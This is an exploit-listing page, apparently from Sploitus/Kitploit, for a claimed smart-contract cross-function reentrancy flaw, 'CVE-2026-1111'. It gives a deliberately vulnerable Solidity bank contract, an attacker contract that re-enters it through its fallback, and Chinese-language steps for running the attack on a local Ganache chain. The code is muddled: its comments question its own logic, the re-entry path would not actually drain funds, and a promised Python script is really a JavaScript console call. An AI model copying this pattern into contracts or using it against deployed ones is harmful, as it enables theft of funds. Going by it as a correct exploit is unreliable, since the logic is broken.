## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GEORGE0PAPASOTIRIOU-CVE-2026-1111-SMART-CONTRACT-CROSS-FUNCTION-REENTRANCY
## CVE-2026-1111 – 智能合约跨函数重入
### **程序代码(Solidity + Python)**
root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
// Second function that also modifies state after external call? Not present.
// Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
// then fallback calls another function that also transfers, bypassing nonReentrant if not global.
function transferTo(address to, uint256 amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attacker contract:
contract Attacker {
VulnerableBank bank;
constructor(address _bank) { bank = VulnerableBank(_bank); }
fallback() external payable {
if (address(bank).balance >= 1 ether) {
// Re-enter via transferTo instead of withdraw
bank.transferTo(address(this), 1 ether); // this changes balances mapping
// then later withdraw again? The point is to exploit reentrancy across functions.
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
}
# CVE-2026-1111 – 智能合约中的跨函数重入

## 概述
该智能合约缺少全局重入防护,攻击者可以在 `withdraw` 调用期间通过另一个函数重新进入合约,绕过局部防护并耗尽资金。
## 漏洞详情
* **类型:** 重入
* **影响:** 窃取所有锁定的以太币。
* **根本原因:** `withdraw` 函数在外部调用之后才更新余额,而另一个修改状态的函数(`transferTo`)可以被重入调用,从而操纵余额。
## 漏洞利用演示
1. 启动本地以太坊节点(Ganache):
root@kitploit:~
ganache-cli
2. 使用 Remix 或 Truffle 部署 VulnerableBank.sol 和 Attacker.sol。
3. 通过 Python 脚本执行攻击(使用 Remix 控制台模拟):
root@kitploit:~
attacker.attack({value: web3.utils.toWei("1", "ether")})